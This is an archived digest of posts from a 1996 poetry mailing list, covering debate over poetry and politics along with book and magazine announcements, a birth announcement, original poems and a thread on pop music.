Re politics & poetry--isn't one of the contexts for this discussion to be found in Plato? As I recall, the Philospher is on the side of the State, from which poets must be banished . . . The turn of the discussion here seems to be following a similar course--immediately equating politics with the State and swiftly moving to the level of abstraction and generalization. Keith Tuma had pointed out the need for specifics in this discussion . . . here are a few that may be of use: for Poetry/the State/pedgagogy/suicide/economics . . . : How Are Verses Made by Vladimir Mayakovsky. (cd. be basis of quite a discussion . . .)

Remember Tip O'Neil's "all politics is local"? Whatever you think of Tip, it's a good tip-- the local is a specific place with a specific history, ecology, and inhabitants. And the inhabitants have bodies. One way of thinking of the interelationship of poetry and politics at a local level is to examine the

interrelationship of bodies to and with and in their environment. (For example: toxic waste dumps in poor and minority neighborhoods.Spread of Hepatitus C among areas/populations with poor medical service access .. .) (For "literary example" of poetry/prose & local & body, turn to WCW's work from Kora in Hell to The Descent of Winter, often written during periods of influenza and other epidemics . . .) The interrelationship of poetry, politics and the local in action may be found in Maximus to Gloucester--Charles Olson's Letters to the Gloucester paper. For an excellent intro to the book and information on it--you cd, check out Karl Young's review/essay at Light and Dust page, Grist On-Line http://www.thing.net/~grist or at the Olson "authors pages" at the SUNY-Buffalo "Electronic Poetry Center".

Working with specific people and sites at a local level, for me a poet who continually opens things up as they say in terms of the body in relation to language is bpNichol. (in relation to the local--Mike Boughn has pointed out to me the role Toronto street signs play in the Martyrology Book 5). bpNichol worked in visual poetry, sound poetry, performance, recording, tv, prose, xerox (see TTA 26), editing, collaborations--his work presents a multilplicity of directions, suggestions, situations, notations, examples with which to work--
from Line #6, Fall 1985, "A Conversation: 'Syntax Equals the Body Structure': bpNichol, with Daphne Marlatt and George Bowering": (bpNichol, on page 25) So what I was trying to find, becuse that is part of a larger thing that I've been working towards, is a way to increase my own formal range (something I'm still trying to do), and therefore not merely be stuck, shall we say, by the physical limitation of my body at that point, i.e. just because I'm walking around with my shoulders up like this, if I can learn to relax I can see the world in a slightly different way and so on. If i can keep moving the structure of the poem around, hopefully I can encompass different realities and different ways of looking at things. In that sense I've always seen a connection between the breathing I do and what comes out of me, the words I do, so syntax/body structure, sequence/body structure, but also the body of the poem.

from the Martyrlogy Book Six (np):

i's a lie
dispenses illusions of plot

biography when geography's the clue
locale & history of the clear you

Larry Eigner wrote poetry for a specific local project--a food drive in Chicago used an Eigner work. And Eigner's sense of the act of attention, combined with his sense of history and interest in the local--did lead to the writing of poems concerned with the environment, the homeless . . . Eigner's work exemplifies an attention developed in relation to the body,to the local within

which he moved, wrote, looked out the window--listened to the news . . .music, baseball games-- Poetry works with specifics, particulars, particles--a relation there to "all politics is local"-- not abstractions--but things you can hear and see and move among and do something with--(hiphop and rap for example . . .tagging-the body, site specificity, cite specificity in sampling, sight specificity in recognizing relation of tag to "where you are this instant"-to paraphrase WCW and Olson)-- "How are verses made? Work begins long before one receives or is aware of a social command. Work goes on incessantly . . . A poet regards every meeting, ever signpost, every event in whatever circumstances simply as material to be shaped into words words."
--V.Mayakovsky, "How Are Verses Made"

Not "impossibilities" "taking place", but possibilities being made actual.

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635. **Aldon L. Nielsen**
Re: splitting my very last hair
Wed 30 Oct 1996

There is a world enough of difference between claiming political efficacy as a justification for poetry and claiming that poetry may/can/does have political efficacy -- I happen to be of the opinion that seeking a justification for poetry is a bit like seeking a justification for my heartbeat -- but I DO know that poets are often place in a position of wanting to justify what they do --

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maybe more to come after I read what all the rest of you are saying

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636. **henry**
Re: poelitics
Wed 30 Oct 1996

"all politics is local" but...
nations are for real
the UN is for real
human rights are for real
& I would even say...
abstractions are real - & can be useful (& not only to the state).
there are real ideas. poets aren't banished from them either. - HG

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637. **Aldon L. Nielsen**
Re: "How do y'all do it?"
Wed 30 Oct 1996

Maria -- it's a strange attractor

(sorry)

↑ Index

638. **Steve Carll**
new book
Wed 30 Oct 1996

Just wanted to forward this notice about John High's latest...

> *From sjcarll Tue Oct 29 08:54:26 1996*
> *Date: Tue, 29 Oct 1996 09:45:56 -0700 (PPET)*
> *From: Katherine Olmsted <[redacted]>*
> *To: Steve Carll <[redacted]>*
> *Subject: new book*
>
> *The Sasha book*
>
> *I'm really excited about this one! It's*
> *got a beautiful, full-color child's drawing*
> *for wrap around cover.*
>
> *Help me generate some orders: [redacted] ($5.00)*
>
> ____

> *"the sun going to bed," #3*
>
> *--for forrest gander*
>
> *One squirrel turned to the south, where he could see the child waiting. He knew this was his child. She was tan & bright, sun-savored hair. Even the stride determined, luxurious, yellow. Her life had beckoned him toward the stark pecan leaves & rolling voices of God. She loved the insects, the buzz of the wasps & humming birds. An orange cloud flickered off above the thin moon. She was thinking that finally the sun was going to bed. Wave good-bye, Ezekiel! So much of rain, of the pebbles & ants singing along the highway in their beautifully muted tongues. This is why the angel, too, had departed the house. To discover the moon again, the church where the nomadic monks gathered with these squirrels. The chipped beige bricks, lightning bugs, all of these abandoned shoes walking about the windmills to the south. O Quixote! One part wind, one part sun, one part rain--& someday we'll even spot the trains. Ok. Cock a doodle doo. My dame has lost her shoe. A squirrel leading the way today! Where is she going? And a storage of wind in the mill they say, but as of yet, she cannot smell it. So he walks behind her in a slight haze the girl cannot see as she calls out--papa, papa!*

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan

****

↑ Index

639. **Gwyn McVay**
Re: new awp...
Wed 30 Oct 1996

Joe,

I'm not too sure about some of Lake's points myself. I liked the part about Hopkins. But when yez goes all de way back and starts pickin' on ole Ez, you better have some good backup arguments... and I think that's where he falls short.

Now that we've got all the damn new formalism articles out of the bag, (my boss managed to lose yours--can you resend???!!! wotta nightmare) I would love to print some articles that actually take account of what's been happening in the last century...

Gwyn

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640. **Jordan Davis**
Re: "Politics"? "Poetry"?
Wed 30 Oct 1996

---

beautiful poem that Alexandra wrote, Rod,
and forgive me for being sick of 'bridge' metaphors I know you work at Bridge St

[and somebody has been posting magic-marker notes back to Orion (whom this new person refers to as "Cyanide") signing them "Spermicide". Orion, meanwhile, continues to write about nasal crutches -- Kenny, are you the Goldsmith he's been describing lately?]

but why not cut a hole in capital's hull? instead of building a bridge to it -- looking into having 4' business cards made,
J

↑ Index

641. **Rod Smith**
Re: politics, poetry, etc etc
Wed 30 Oct 1996

---

ginsberg i can see somewhat, but snyder?? explain.--md

M-- Snyder has, by any post-WWII standards re poetry, a huge audience-- particularly on the West Coast, but elsewhere too. He's very involved in environmental issues. He's definitely a "leader" of some sort for many. It's there in his essays & elsewhere.

"elsewhere" is the key word here,

--Rod

↑ Index

642. **David Kellogg**
Announcement: New Poet
Wed 30 Oct 1996

Entered into this world 29 October 1996, 4:39 PM EDT, weighing 6 lbs. 1 oz., measuring 20 inches, one Thomas Royal Kellogg, born to David and Leigh Robinson Kellogg.
~~~
~~~

& there
you say
go away
& you don't even have to pay
you just say
thank you
& walk away

--Rod

↑ Index

644. **Brian McHale**
Re: politics & poetry
Wed 30 Oct 1996

For what it's worth, I have a review of Kalaidjian's book, together with Alan Fil- reis' recent one on Wallace Steven in the Thirties, entitled "The Red De- cade & the Blue Guitar" (clever, huh?), in an upcoming issue of my "own" jour- nal, "Po- etics Today" (not the next number, I don't think, but the one after?) Kalaidjian is pretty good on Perelman, but better on Thirties poets, Fearing & Rukeyser. Fil- reis' prose is VERY reader-unfriendly, but he has found some ex- cellent mate- rial contextualizing Stevens' poetry in the '30s -- more political than you might guess from the versions that come down to us in his later "Col- lected" -- so it's worth gritting one's teeth & soldiering on.
Brian

↑ Index

645. **Gwyn McVay**
/Paradise & Method/
Wed 30 Oct 1996

---

anyone yet read Bruce Andrews' /Paradise & Method/ and have comments, opinions?

Gwyn

↑ Index

646. **Eryque Gleason**
Re: JH and Political poetry
Wed 30 Oct 1996

---

ken sherwood wrote:
>And the idea that the 'relevant political' action must get you in
>trouble, that being 'acknowledged' by the state/powers etc. determines

>relevance mistakes surface effect for deep politics. Charmed as
>I was to see protestors smashing the windows in downtown Buffalo outside
>a Bob Dole rally early in the campaign, I'm pretty certain that the
>simple political conversations which take place in my English 201
>will having longer lasting and deeper implications.

sorry to take a bit of a tangent here, but why do you think that such political conversations in your classroom have deeper implications?

having recently been a student in english 2xx classes, i'm finding that a HUGE percentage (probably greater than half. particularly now that i'm at a state school rather than private u.) of students will take certain political stances mainly out of pressure from the instructor to actually have an opinion, and immediately outside of the classroom doors will turn to their friends and say "it's all bullshit anyway." for a while i thought this tendancy might be part of some peer pressure not to think too hard,not to be too serious, and it may be, though i'm not convinced.

don't get me wrong, there are many, many sincere students out/in there, but i know that many of them/us are frustrated by those that are just there for the grade. for me, the main frustration is that i know i'm in the minority (of even having any concrete opinions about which i've gathered information and thought about, nevermind what those thoughts might be), and it seems that the majority of students are not influenced much at all by classroom conversations. they're still going to go home and believe what they always have (whether it's because ma or pa or the kooky neighbor or bob dole told them they should). such "political" beliefs strike me much more as religious beliefs, something that must be taken on faith.

so that when the campaign office windows get smashed out, it's a sign from Bob that armegeddon is near.

eryque

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647. **MAXINE CHERNOFF**

Re: "Politics"? "Poetry"?

Wed 30 Oct 1996

The only time I got a standing ovation for "reading" my work aloud was when I was a leader (and Text Meister) for an uprising in the City Colleges of Chicago against the new chairman of the board of trustees, a Republican (in Chicago!) hair goods mogul who had inherited the business but little sense from his dad (although he had gone to Brown--sorry those of you at Brown). Anyway, this man of the people wanted to cut 526 classes systemwide in a system serving

Chicago's poor, minorities, adult learners, and immigrants. He wanted to cut ESL offerings in half. There was rumor he wanted to close one of the campuses in one of t he poorest neighborhoods in the city. He and friends said, "Students at the U of Chicago" can't always get the classes they want, and they pay good $$. Why should our students?" Anyway, I wrote a speech and read it at the City Council hearing on his reappointment. When I stood up to return to my chair, everyone was standing and applauding. I looked behind me to see who might have entered the room. (I don't think one of my poems or a piece of "creative" prose would have received the same response.) (Our side lost. I left Chicago. The hair magnate still heads the board of the much trimmed City Colleges of Chicago, where $96 million happened to disappear in a cronie/junk bond deal that nobody locally seemed to care much about. The End.)

Maxine Chernoff
MAXPAUL @ SFSU. edu

↑ Index

648. **maria damon**
Re: JH and Political poetry
Wed 30 Oct 1996

---

eryque rites:
>
> having recently been a student in english 2xx classes, i'm finding that a
> HUGE percentage (probably greater than half. particularly now that i'm at a
> state school rather than private u.) of students will take certain
> political stances mainly out of pressure from the instructor to actually
> have an opinion, and immediately outside of the classroom doors will turn
> to their friends and say "it's all bullshit anyway." for a while i thought
> this tendancy might be part of some peer pressure not to think too hard,not
> to be too serious, and it may be, though i'm not convinced.
>
> don't get me wrong, there are many, many sincere students out/in there, but
> i know that many of them/us are frustrated by those that are just there for
> the grade. for me, the main frustration is that i know i'm in the minority
> (of even having any concrete opinions about which i've gathered information
> and thought about, nevermind what those thoughts might be), and it seems
> that the majority of students are not influenced much at all by classroom
> conversations. they're still going to go home and believe what they always
> have (whether it's because ma or pa or the kooky neighbor or bob dole told
> them they should). such "political" beliefs strike me much more as
> religious beliefs, something that must be taken on faith.

well in mn most undergrads have been conditioned ("minnesota nice") to be- lieve that it is impolite to have opinions, let alone express them. md

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649. **henry g**
Re: "Politics"? "Poetry"?
Wed 30 Oct 1996

On Wed, 30 Oct 1996 14:53:41 -0500 Rod Smith said:
>
>I know Ron Silliman was quite involved for a while with governmental politics
>in the bay area. He worked against, yes, "the indeterminate sentence," among
>other things. They were locking people up & not telling them for how long.

That is great!!!
>
>a recent poem by my daughter Alexandra, she's 5:
>
>all of it's gone to moneyland
>
>which is where I live
>
>& there
>you say
>go away
>& you don't even have to pay
>you just say
>thank you
>& walk away
>

& so is that!

↑ Index

650. **Alan Jen Sondheim**
Re: "Politics"? "Poetry"?
Wed 30 Oct 1996

Wouldn't a reasonable way to approach this be to consider, first of all, what constitutes politics and a political statement? Is a political state- ment a _call- ing_ - either for change or stasis - within a circumscribed domain - for example saving an endangered species, upholding affirmative action? Is this calling inex- tricably linked to protocol statements, performatives, such that the statement has an intimate and necessary ass- ociation with legislative language?

This would extend to a politics of _exposure_ - of conditions, wrong-do= ing, right-doing.

Or is politics "simply" the placement of personal desire and behavior at the core of modeling / teleology of the world? This is the "personal is political" position - what I _do_ is always political; there's no need to vote for example (although voting could be arguably an "intensifica- tion" of the political).

In terms of the former, there are political poems and non-political poems. A po- litical poem would be a call to action (Paul Chamberland) or an expo- sure (Ginsberg) - in this sense, by the way, there's a relationship be- tween political and narrative poems. Both operate with trajectories and embedded descrip- tions/actions. Both participate in narratological devices.

In terms of the latter, every poem is a politics - just as every poem is a delin- eation or fissure of desire, of language, of energy, of body. In this sense, how- ever, the _poem_ loses a bit of epistemological status, since every biulding, for example, could be characterized similarly - or every _political rally._

Personally, I find the latter also an excuse or deflection, an abjuring of purely political behavior within or without the cultural sphere, since anything can give one the old pat on the back, you good citizen you.

Alan

_____
http://jefferson.village.virginia.edu/~spoons/internet_txt.html images:
http://www.cs.unca.edu/~davidson/pix/ [redacted] CuSeeMe 166.84.250.149

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651. **maria damon**

Re: Announcement: New Poet

Wed 30 Oct 1996

---

congrats very very much, david and leigh and thomas royal. how thrilling. md

In message <[redacted]> UB Poetics discussion
group writes:
> Entered into this world 29 October 1996, 4:39 PM EDT, weighing 6 lbs. 1 oz.,
> measuring 20 inches, one Thomas Royal Kellogg, born to David and Leigh
> Robinson Kellogg.
>
~~~
~~~

> Durham, NC 27708 FAX [redacted]
> http://www.duke.edu/~kellogg/
>
> There is no mantle
> and it does not descend.
> -- Thomas Kinsella

↑ Index

652. **Joseph Lease**
Re: poelitics
Wed 30 Oct 1996

In Boston Tip O'Neil is sometimes mistaken for Gramsci

↑ Index

653. **Joseph Lease**
Re: politics, poetry, etc etc
Wed 30 Oct 1996

that elsewhere is a key word in all discussions of poetry and politics, I think

On Wed, 30 Oct 1996, Rod Smith wrote:

> *ginsberg i can see somewhat, but snyder?? explain.--md*
>
> *M--*
> *Snyder has, by any post-WWII standards re poetry, a huge audience--particularly on the West Coast, but elsewhere too. He's very involved in environmental issues. He's definitely a "leader" of some sort for many. It's there in his essays & elsewhere.*
>
> *"elsewhere" is the key word here,*
>
> *--Rod*

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654. **henry g**
Re: "Politics"? "Poetry"?
Wed 30 Oct 1996

On Wed, 30 Oct 1996 15:50:43 -0500 Alan Jen Sondheim said:
>Wouldn't a reasonable way to approach this be to consider, first of all,
>what constitutes politics and a political statement? Is a political state-
>ment a _calling_ - either for change or stasis - within a circumscribed

>domain - for example saving an endangered species, upholding affirmative
>action? Is this calling inextricably linked to protocol statements,
>performatives, such that the statement has an intimate and necessary ass-
>ociation with legislative language?

This brings to mind another old chestnut, "politics is the art of compromise". Compromise of one's own autonomy "within a circumscribed domain", in the alligator-infested waters of power. This is a remarkable post, I think, but one might ask again, is it a question of either/or or both/and. Maybe the politics of the personal & politics proper are on a continuum. Though I think you raise a good question: is a universal "politics of the personal" actually an invitation to remain on-the-fence, neutral, detached, or, as the Greeks would say, an [political] "idiot." - Henry Gould

↑ Index

655. **Pritchett,Pat**
Re: "Politics"? "Poetry"?
Wed 30 Oct 1996

I like the way you frame this Alan. I would argue that legislative language does indeed take its cue from "callings" whether from the left or the right and that most of these callings are shaped by and through appeals to mythic constructs (e.g. the "myth of the frontier") and mythic rhetoric. The latest avatar of the frontier of course is the 21st Century: the coordinates have shifted from spatial to temporal, but it's still the same bill of goods.

I just listened to a Clinton spot on NPR in which he describes it as a kind of promised land (talk about yr teleology). At the risk of sounding otiose, the flow of power is adjudicated by those who control the language, the terms of, the dialogue.

So in this context, poetry is the means by which one can, in Pound's translation of Kung-fu-tse, "bring the sun's lance to rest on the precise spot verbally," that is, to combat obscuratinism (sic), disinformation, corporate interest and the rest. Or am I being naive?

Patrick Pritchett

From: Alan Jen Sondheim
To: Multiple recipients of list POETICS
Subject: Re: "Politics"? "Poetry"?
Date: Wednesday, October 30, 1996 3:23PM

Wouldn't a reasonable way to approach this be to consider, first of all, what constitutes politics and a political statement? Is a political state- ment a

calling - either for change or stasis - within a circumscribed domain - for example saving an endangered species, upholding affirmative action? Is this calling inextricably linked to protocol statements, performatives, such that the statement has an intimate and necessary ass- ociation with legislative language?

This would extend to a politics of _exposure_ - of conditions, wrong-do= ing, right-doing.

Or is politics "simply" the placement of personal desire and behavior at the core of modeling / teleology of the world? This is the "personal is political" position - what I _do_ is always political; there's no need to vote for example (although voting could be arguably an "intensifica- tion" of the political).

In terms of the former, there are political poems and non-political poems. A political poem would be a call to action (Paul Chamberland) or an expo- sure (Ginsberg) - in this sense, by the way, there's a relationship be- tween political and narrative poems. Both operate with trajectories and embedded descriptions/actions. Both participate in narratological devices.

In terms of the latter, every poem is a politics - just as every poem is a delineation or fissure of desire, of language, of energy, of body. In this sense, however, the _poem_ loses a bit of epistemological status, since every biulding, for example, could be characterized similarly - or every _political rally._

Personally, I find the latter also an excuse or deflection, an abjuring of purely political behavior within or without the cultural sphere, since anything can give one the old pat on the back, you good citizen you.

Alan

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http://jefferson.village.virginia.edu/~spoons/internet_txt.html images:
http://www.cs.unca.edu/~davidson/pix/ [redacted] CuSeeMe 166.84.250.149

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656. **Walter K. Lew**
Re: Announcement: New Poet
Wed 30 Oct 1996

Congratulations! I was foreseen by my father to be a physician, which I'm not, but "Royal" is a good middle name for a poet. I expect early sonnets (Poetish for grandsons?).

Cheers,
Walter K. Lew
c/o Prof. Juliana Chang

English Dept.
Boston College

↑ Index

657. **David Kellogg**
Re: Announcement: New Poet
Wed 30 Oct 1996

> *Congratulations! I was foreseen by my father to be a physician, which I'm not, but "Royal" is a good middle name for a poet. I expect early sonnets (Poetish for grandsons?).*

Thanks Walter. Royal is actually a family name -- my middle name, the first name of my father and great-grandfather (Roy, the only one who went by the name). A little of the old patriarchal something-or-other. Shit I'm tired.

Cheers,
David
~~~
~~~

On Wed, 30 Oct 1996, Eryque Gleason wrote:

> *having recently been a student in english 2xx classes, i'm finding that a HUGE percentage (probably greater than half. particularly now that i'm at a state school rather than private u.) of students will take certain political stances mainly out of pressure from the instructor to actually have an opinion, and immediately outside of the classroom doors will turn to their friends and say "it's all bullshit anyway." for a while i thought this tendancy might be part of some peer pressure not to think too hard,not to be too serious, and it may be, though i'm not convinced.*
>
> *don't get me wrong, there are many, many sincere students out/in there, but i know that many of them/us are frustrated by those that are just there for the grade. for me, the main frustration is that i know i'm in the minority (of even having any concrete opinions about which i've gathered information and thought about, nevermind what those thoughts might be), and it seems that the majority of students are not influenced much at all by classroom conversations. they're still going to go home and believe what they always have (whether it's because ma or pa or the kooky neighbor or bob dole told them they should). such "political" beliefs strike me much more as religious beliefs, something that must be taken on faith.*
>
> *so that when the campaign office windows get smashed out, it's a sign from Bob that armegeddon is near.*
>
> *eryque*

↑ Index

659. **Jena Osman**

New issue of Chain is out

Wed 30 Oct 1996

CHAIN #3, volume 2 on the special topic of Hybrid Genres/Mixed Media is now out. Contributors and subscribers should be receiving their copies soon. Copies of CHAIN #3, volume 1 are also still available: order one for $10 (indicate which volume you'd like) or both for $18. Send checks to Chain at 215 Ashland Avenue, Buffalo, NY 14222, or send a message to [redacted] and we'll send an invoice with the issue. Contents below:

Hybrid Genres/Mixed Media volume 1 includes work by Mac Adams, Will Alexander, Dennis Barone, Martine Bellen, Charles Bernstein, Sherry Brennan, Patti Capaldi, Norma Cole & Michael Palmer, Elizabeth Cross, Maria Damon, Tim Davis, Marta Dieke & Spencer Selby & Gary Sullivan, Rachel Blau DuPlessis, Geraldine Erman, William Fox, Janie Geiser, Susan Gevirtz, David Columbia, Jenny Gough, Carla Harryman & Travis Ortiz, Fanny Howe, Lisa

Jarnot, Tom Johnson, Alystyre Julian, Karen Kelley, Bruce McIntosh, E.A. Miller, Aife Murray, Sianne Ngai, Hoa Nguyen, Nick Piombino, Mark Robbins, Christy Sheffield-Sanford, Gail Sher, Brian Kim Stefans, Cassandra Terman & Katie Yates, Nico Vassilakis, Mac Wellman, C.D. Wright, Paul Zelvansky.

Hybrid Genres/Mixed Media volume 2 includes work by Polly Apfelbaum, Lutz Bacher, Perry Bard, Jim Brashear, Lee Ann Brown & Susan Meyer Fenton, Brad Buckley, Mary Burger, Stacy Doris, Johanna Drucker & Brad Freeman, Thalia Field, Heather Fuller, Loss Pequeno Glazier, Barbara Henning & Miranda Maher, Kathy High, Adeena Karasick, Cynthia Kimball, Heidi Kumao, Eve Andree Laramee, Walter Lew, Pamela Lu, Steve McCaffery, Marlene McCarty, Jerome McGann, Kevin Magee, Gerard Malanga, Denise Newman, M. Nourbese Philip, Kristin Prevallet, Joan Retallack & Rod Smith & Melanie Neilson, Lisa Robertson, James Sherry, Ken Sherwood, Sally Silvers, Carolyn Steinhoff Smith, Fiona Templeton, Ward Tietz, Anne Waldman, Mark Wallace, Janet Zweig.

Jena Osman
[redacted]

↑ Index

660. Carnography
Correction: SPITTING IMAGE Reading
Wed 30 Oct 1996

To All:

The location for the SPITTING IMAGE reading at 7:30 on November 2 has been changed from La Mama Experimental Theater to La Mama La Galleria at 6 East 1st Street near 2nd Avenue.

Full announcement (in case you missed it):

§§§

translated Hans Bellmer, my bald muse, into English. Julia has also translated Nietzsche's last letters, which were published in _My Sister and I_ by Amok Press. There is some controversy as to the true authorship of the book (but not the letters); Julia reports that Nietzsche's letters were extremely difficult to translate because they were written in the language "of someone who was raggingly insane."

http://www.interport.net/~scrypt

↑ Index

661. **Dan Raphael Dlugonski**
"Aldon L. Nielsen" <[redacted]> >Subject: Re: Jump Up
Wed 30 Oct 1996

>Saw Lake here in Portland OR monday (10/28) night. the poetry simple but effective. the playing (alto, soprano, flute) was incredible. all energized by the man, joyous and insightful. an hour and a half of visceral magic. and only about 70 people in the audience.

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662. **Jeffrey W. Timmons**
12.31.95
Wed 30 Oct 1996

---

excuse the hubris but i thought id post a "construction"--if anyone has any suggestions the can back paddle. i mean channel. jeffrey timmons

12.31.95

deuterium leaves so perfect this instinct
i would sow these letters
like a father power of the mind
let me violate you
will our capacity

starch awoke blind hoary blue berries
coeval with the sky motion

plugged-in house courtesy whirlwind
swept away all possibilities

symbol . character . alphabet . word
tendency blank white screen desires

black-spruce tree butterflies

intense trigonometric functions packed with
cedar wood quagmire resistance

stand out in the cold
make room for the others

telegraphic circut connotations all inaccurate

i dont know use me for pleasure
all possibilities without fulfillment
embodied as imagined
tempted by nameless wild fruits
too fair for mortal taste

bodily repercussion toad-stools

universal fractures reflect the woods

open serene eye space
creates wisdom clarified by experience
their notes in harmony with the flowers

dogwoods grow jacksnipe imaginations
speech sound beauty without fear
dazzled oral transmission joy
a short novel padlock

other people redeem themselves in the purity of infancy

code letter harmonized hymn:
another third life vision of transcendence

mariposa lily deviant housed herein

suggestive unreal birds

wavy boughs rippling with light

wheal tetrao umbellus in dream-thought lost

a soft yielding surface pine
groves standing like temples

gladsome heavy hydrogen sauropod

butterfly mary perching

vacuum packed novelette

i sow desire like rain
certitude by opposition

a robin soft and green and shady
shells the dried leaves

subulate terror surface:
red alder-berries glow
like eyes of imps

a longbilled old world wading bird covers the ground

innocent monolith powder phonogram remains restless

indefinite time tapering the cold security of words

a phoebe congo red chorale finely dispersed
vahalla particles

↑ Index

663. **Alan Jen Sondheim**
Re: "Politics"? "Poetry"?
Wed 30 Oct 1996

On Wed, 30 Oct 1996, Pritchett,Pat @Silverplume wrote:

> *So in this context, poetry is the means by which one can, in Pound's translation of Kung-fu-tse, "bring the sun's lance to rest on the precise spot verbally," that is, to combat obscuratinism (sic), disinformation, corporate interest and the rest. Or am I being naive?*
>
> *Patrick Pritchett*
> ----------

I don't think naive, but poetry has added its share of imprecision, obscurity, etc. I think the combat has to be fought in the press, lawcourt, classroom; I wonder if Richard Dawkins didn't affect the Pope's rethinking evolution, for example.

I think poetry provides a space to tremble the world and its expression. (At the risk of being naive.)

The consequences are _there,_ but fragile themselves.

Alan

↑ Index

664. **VPI R TremblayMcGaw**
Re: New Publication INTERNET 2K Oct-30-96
Wed 30 Oct 1996

Sorry to post this to the whole list.

Jennifer my e-mail program doesn't show me your address but rather the owner-poetics list, so could you post your e-mail address or send it to me directly. I'd like to find out how to get a hold of your mag--The Impercipient--about which I've heard good things from Kathy Lou Schultz and others here in SF. Also, looking forward to reading your book. Sounds like a must read.

Robin Tremblay-McGaw
[redacted]
or
[redacted]

Thanks.

>Date: October 30, 1996 3:17 pm PST Item: R00at6G
>
>From: INTERNET @CONNECT-INTERNET-GATEWAY
>
>To: HN4208 VPI, R. Tremblay-McGaw
>
>Subj: Re: New Publication
>
>----- ORIGINAL INTERNET MAIL FOLLOWS -----
>From: [redacted]
>To: hn4208
>
>
>This is Kevin Killian. A few dys ago Jennifer Moxley wrote in about her book
>
>>Imagination Verses by Jennifer Moxley
>>
>>An offset & smyth-sewn paperback of 90pp+ for $8.95
>>With a Preface by the Author, ISBN 0-927920-07-7
>>
>>This, my first full length publication, is a collection of lyrics written
>>over the past five years or so. Some of the work included has appeared in
>>such venues as Object, The Baffler, The Exact Change Yearbook#1, Dark Ages
>>Clasp the Daisy Root and my own magazine, The Impercipient.
>>
>>If you would like a copy, they are available from Small Press Distribution
>>(1814 San Pablo Avenue, Berkeley,CA 94702 USA [redacted]) or you can
>>e-mail me at the above address (not Poetics) or write me at 61 East Manning
>>St. Providence RI 02906-4008.

>
>Later Rod alluded to this book and said, "Moxley manages a genuinely public
>poetry without sacrificing the cognitive and emotional dissonance that is
>our tired lot
>here, in monogomy capitalism." I don't know if I agree with this way of
>describing "Imagination Verses" but I second him in urging people to get a
>copy of this book, it is quite interesting and often very intensely
>beautiful. Half the time I was reading it I was thinking, "I wish I were
>Jennifer Moxley," and the other half thinking, I'm glad I'm not," (maybe
>that's RS's emotional dissonance") but I've decided to change my life since
>reading it.
>

Robin Tremblay-McGaw
Information Services Director
Trauma Foundation/ Pacific Center for Violence Prevention
[redacted]

Connect Mail Sent: October 30, 1996 8:09 pm PST Item: R00ato5

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665. Eryque Gleason
Re: JH and Political poetry
Thu 31 Oct 1996

> *is it ever possible to _not_ take a political stance?*

see, here's where we get caught up in political trickery. i'd say yes, it *is* possible not to take a political stance as long as one chooses not to engage the context of politics. i.e., simply not thinking about it (as opposed to proactively not thinking about it, anyone ever tell you not to think of a pink elephant?) however, once a person admits that there are political plays going down there may be not apolitical position, ignoring them clearly being political (consent by default) and attacking them being equally political.

i don't
>see disagreeing w political beliefs (an individual's or an institution's)
>as apolitical.

> *individual epiphanies and overnight revolutions are*
> *historical anomalies in the landscape of politics. if "influence"*
> *is defined more broadly, then every act has some degree of "political"*
> *impact.*

i'd say that those epiphanies and revolutions are the driving forces behind politics. if there weren't such ups and downs politics would become boring, fizzle out.

> *how do we define a border between what's political and what isn't?*
> *i think jeff hansen made some good points, but to distinguish between "relevant" and "nonrelevant" political acts is still evaluating actions with the assumption that some actions have no political relevance. sure, there are those who will "go home and believe what they always have," but what's the alternative?*

yes, there will probably *always* be those that no amount of argument can influence, who simply won't engage in a discussion, but i think what's important is *why* they won't engage. as for alternatives, there's all sorts of utopia....

eryque

ps utopiae? utopiases?

↑ Index

666. Carnography
A late response to prop/Carll thread
Thu 31 Oct 1996

---

1. Response to Steve Carll:

> *I just want to go on record agreeing vociferously with Rob Hardin... agreeing that eclecticism is not snobbery and, therefore, we should stop worrying about the categories and discuss the work on its own merit, regardless of what part of the musical spectrum it comes from or who its intended or actual audience is.*

"I just want to go on record as saying that this was a commendable thing to go on record as saying," Hardin ululated.

> *...agreeing that Oasis are derivative of 60's British pop and complete morons to boot, making them and their music indefensible and uninteresting on critical grounds*

You might not have felt Oasis were insipid before, but hasn't the coverage in the mainstream press made it obvious?

> *(however I must add that they're derivative of a musical style I'm personally not yet sick of hearing variations on, and I think they're quite good at pastiching aspects of that style. Why do I think this? Maybe a real musician could tell us...)*

If you love a particular style of music--any kind of music--I don't think it is necessary to justify your aesthetic pleasure to other people. Many people here have commented on their love/lust for Scott Walker-- some of the youngest and brightest writers I know are into _Scott Walker IV_. But personally, I just don't

get it. I can see that he was quite handsome, but I don't see what's unusually good about his voice, his lyrics or his arrangements: It all sounds pedestrian to me. But this probably has to do with Pavlovian professonal bias. For me, crooning 60's and 70's guys in sharp duds fronting Mantovani orchestras translate to nightmarish insincerity and triteness. On the other hand, I play and love keyboards, including synthesizers, which sometimes seem the epitome of nightmarish insincerity and triteness to others--some of whom happen to love Scott Walker.

In musical terms, there is nothing wrong with being attached to George Martin/Beatles-style production. I myself could tell you a number of reasons why that stuff works: the Lewis Carroll pungency of the string-vocal-piano arrangement in I Am The Walrus, for example. There is also a kind of impatient intelligence in George Martin's keyboard work (on In My Life, for rexample). That, combined with Lennon's dissonant thinking and tuneful musicianship, can give the Beatles a kind of cutting quality: the pop equivalent of an oboe-heavy woodwind quintet. I could go on to tell you many intimate things I know from composing, and from having to reproduce every note of every part in songs like "Strawberry Fields Forever," including the backwards percussion. You have every reason to like that style (though merely loving the sound of it is the very best reason). It is true that I've heard enough of that style to last me a lifetime; it is true that I wince whenever a new band or scene copies the Beatles. But that doesn't mean you're wrong to trust your ear.

> *On another interface, I'd like to just clarify something that Tom Mandel responded to: I am aware that what's now called "classical" music (particularly opera) once had a wide enough audience to merit the term "popular". However, when I used the term popular, I didn't mean popular, I meant popular. I mean the category popular music doesn't necessarily align itself with what's popular in the sense that a lot of people like it.*
> *Separated by a common language.*

It sounds as if popular music might not be the best word for us to use. "Contemporary pop music" is the wrong term as well, but at least when you say it no one thinks of Verdi.

There should be a categorical term that encompasses modern folk music, fugitive music, swinging bachelor pad music, lo-fi networked anything, meringue, so-called alternative, so-called trip-hop, dark ambient, polkas, etc etc. But when I try to think of one, I turn into an obsessive-compulsive surrealist--rearranging fixed and disparate terms on a hazy lathe.

(Examples: pop apex, tune continuum, panstream, wallpaper madrigals, skid drift, jackboot swing, automat hyms, prole homophony. No term seems inclusive enough to mean all that it should.)

